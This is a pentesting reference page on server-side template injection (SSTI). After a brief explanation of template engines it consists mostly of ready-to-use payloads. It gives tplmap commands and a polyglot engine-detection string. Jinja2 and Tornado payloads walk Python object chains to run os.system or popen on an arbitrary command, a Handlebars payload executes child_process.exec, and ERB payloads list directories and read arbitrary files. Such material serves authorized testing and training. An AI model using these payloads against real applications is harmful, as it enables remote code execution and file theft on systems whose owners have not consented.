> For the complete documentation index, see [llms.txt](https://ivalexev.gitbook.io/rednote/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://ivalexev.gitbook.io/rednote/pentesting-process/web-attacks/ssti.md).

# SSTI

Template Engines are software tools used to generate dynamic output. There is a template, which is a predefined document that contains a static structure, but also includes placeholders, markers, and variables that will be replaced with dynamic data during the generation of the final output. So during the rendering process there is interpretation of the template, dynamic insertion of the specified elements, and generation of the final output. Each Template Engine defines placeholders etc. differently.

## Tools

<table><thead><tr><th width="162">Tool</th><th>Details</th></tr></thead><tbody><tr><td><a href="https://github.com/epinna/tplmap">tplmap</a></td><td><code>./tplmap.py -u '&#x3C;URL>?param=value'</code> <em>(GET)</em><br><code>./tplmap.py -u '&#x3C;URL>' -d "param=value"</code> <em>(POST)</em></td></tr></tbody></table>

## Template Engine Identification

{% code overflow="wrap" %}

```
${{<%[%'"}}%\
```

{% endcode %}

<figure><img src="/files/4cME8oa8Qt29IgCPRAHH" alt=""><figcaption></figcaption></figure>

**Also look for errors on the Internet, or extensions.**

## Payload

See [Navigating Python Objects](/rednote/pentesting-process/other/navigating-python-objects.md).

{% code overflow="wrap" %}

```django
{{''.__class__.__mro__[1].__subclasses__()[INDEX]()._module.__builtins__['__import__']('os').system("<COMMAND>") }}
```

{% endcode %}

{% code overflow="wrap" %}

```django
{{''.__class__.__mro__[1].__subclasses__()[INDEX]()._module.__builtins__['__import__']('os').popen("<COMMAND>").read() }}
```

{% endcode %}

Where **INDEX** was taken from *(example in* [*tornado*](https://www.tornadoweb.org/en/stable/guide/templates.html) *template engine)*

```django
{% for i in range(450) %} 
{{ i }}
{{ ''.__class__.__mro__[1].__subclasses__()[i].__name__ }} 
{% endfor %}
```

Two payloads that can be used if `request` and `lipsum` are present (ex. in Jinja2)

{% code overflow="wrap" %}

```django
{{request.application.__globals__.__builtins__.__import__('os').popen('<COMMAND>').read()}}
```

{% endcode %}

{% code overflow="wrap" %}

```django
{{lipsum.__globals__.os.popen('<COMMAND>').read()}}
```

{% endcode %}

In Handlebars *(JavaScript)*

{% code overflow="wrap" %}

```handlebars
{{#with "s" as |string|}}
  {{#with "e"}}
    {{#with split as |conslist|}}
      {{this.pop}}
      {{this.push (lookup string.sub "constructor")}}
      {{this.pop}}
      {{#with string.split as |codelist|}}
        {{this.pop}}
        {{this.push "return require('child_process').exec('whoami');"}}
        {{this.pop}}
        {{#each conslist}}
          {{#with (string.sub.apply 0 codelist)}}
            {{this}}
          {{/with}}
        {{/each}}
      {{/with}}
    {{/with}}
  {{/with}}
{{/with}}
```

{% endcode %}

If the `require` function is outside the scope of the application we are attacking, we need to find a function we can access. These are called global variables.

{% code overflow="wrap" %}

```handlebars
return process.mainModule.require('child_process').exec('whoami');
```

{% endcode %}

In ERB

```
<%= Dir.entries('/') %>
<%= File.open('/example/arbitrary-file').read %>
```
